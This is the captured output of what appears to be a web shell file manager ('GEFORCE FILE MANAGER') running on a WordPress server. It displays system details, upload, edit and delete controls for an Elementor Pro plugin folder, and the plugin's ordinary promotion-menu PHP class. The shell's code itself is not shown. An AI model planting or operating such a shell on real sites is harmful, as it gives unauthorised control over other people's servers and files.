[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
elementor-pro
/
modules
/
tiers
/
admin-menu-items
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 base-promotion-item.php
1,946 B
SET
[ EDIT ]
|
[ DEL ]
📄 base-promotion-template.php
3,056 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: base-promotion-item.php
<?php // Copied from Core. Remove when it is safe. namespace ElementorPro\Modules\Tiers\AdminMenuItems; use Elementor\Core\Utils\Promotions\Filtered_Promotions_Manager; use Elementor\Modules\Promotions\AdminMenuItems\Interfaces\Promotion_Menu_Item; use Elementor\Settings; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } abstract class Base_Promotion_Item implements Promotion_Menu_Item { public function get_name(): string { return 'base_promotion'; } public function is_visible(): bool { return true; } public function get_parent_slug(): string { return Settings::PAGE_ID; } public function get_capability(): string { return 'manage_options'; } public function get_cta_text(): string { return esc_html__( 'Upgrade Now', 'elementor-pro' ); } public function get_image_url(): string { return ELEMENTOR_ASSETS_URL . 'images/go-pro-wp-dashboard.svg'; } public function get_promotion_description(): string { return ''; } public function render(): void { $config = [ 'title' => $this->get_promotion_title(), 'description' => $this->get_promotion_description(), 'image' => $this->get_image_url(), 'upgrade_text' => $this->get_cta_text(), 'upgrade_url' => $this->get_cta_url(), ]; $config = Filtered_Promotions_Manager::get_filtered_promotion_data( $config, 'elementor-pro/advanced-' . $this->get_name() . '-pro-widget/promotion', 'upgrade_url' ); ?> <div class="wrap"> <div class="elementor-blank_state"> <img src="<?php echo esc_url( $config['image'] ); ?>" loading="lazy" /> <h3><?php echo esc_html( $config['title'] ); ?></h3> <?php if ( $config['description'] ) : ?> <p><?php echo esc_html( $config['description'] ); ?></p> <?php endif; ?> <a class="elementor-button go-pro" href="<?php echo esc_url( $config['upgrade_url'] ); ?>"> <?php echo esc_html( $config['upgrade_text'] ); ?> </a> </div> </div> <?php } }